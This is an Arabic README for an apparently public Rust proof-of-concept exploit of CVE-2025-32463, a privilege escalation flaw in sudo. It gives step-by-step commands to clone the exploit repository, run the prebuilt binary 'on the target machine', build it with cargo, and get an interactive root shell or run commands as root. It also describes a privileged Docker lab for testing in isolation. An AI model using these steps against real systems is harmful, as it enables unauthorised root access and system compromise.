CVE-2025-32463 استغلال تصعيد الامتيازات في Sudo (Rust)

استخدام الثنائي المُجمَّع مسبقًا

1. استنساخ المستودع وتشغيل الثنائي على الجهاز الهدف.

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git

cd CVE-2025-32463-Chwoot-POC

./exploit

البناء من المصدر

1. استنساخ المستودع (إذا لم تكن قد فعلت ذلك مسبقًا)

git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git
cd CVE-2025-32463-Chwoot-POC

2. بناء الثنائي بلغة Rust في وضع الإصدار

cargo build --release

سيكون الثنائي المُجمَّع موجودًا في المسار التالي:

./target/release/CVE-2025-32463-Chwoot-POC

الاستخدام

شغِّل الثنائي الاستغلالي مع وسائط الأوامر الاختيارية:

• لتشغيل شل جذر تفاعلية:

sudo ./target/release/CVE-2025-32463-Chwoot-POC

• لتشغيل أمر معين كجذر (على سبيل المثال، id):

sudo ./target/release/CVE-2025-32463-Chwoot-POC "id"

استخدام Docker

بدلاً من ذلك، استخدم حاوية Docker المتوفرة لبيئة ضعيفة معزولة مع جميع التبعيات المثبتة.

1. بناء صورة Docker

docker build -t sudo-chwoot .

2. تشغيل الحاوية بشكل تفاعلي (إذا لم يعمل، حاول استخدام معرف الصورة بدلاً من sudo-chwoot. يمكنك الحصول عليه باستخدام sudo docker images)

docker run --rm -it --privileged sudo-chwoot 

3. داخل الحاوية، شغِّل الاستغلال

cd /home/pwn/CVE-2025-32463-Rust-POC
./target/release/CVE-2025-32463-Chwoot-POC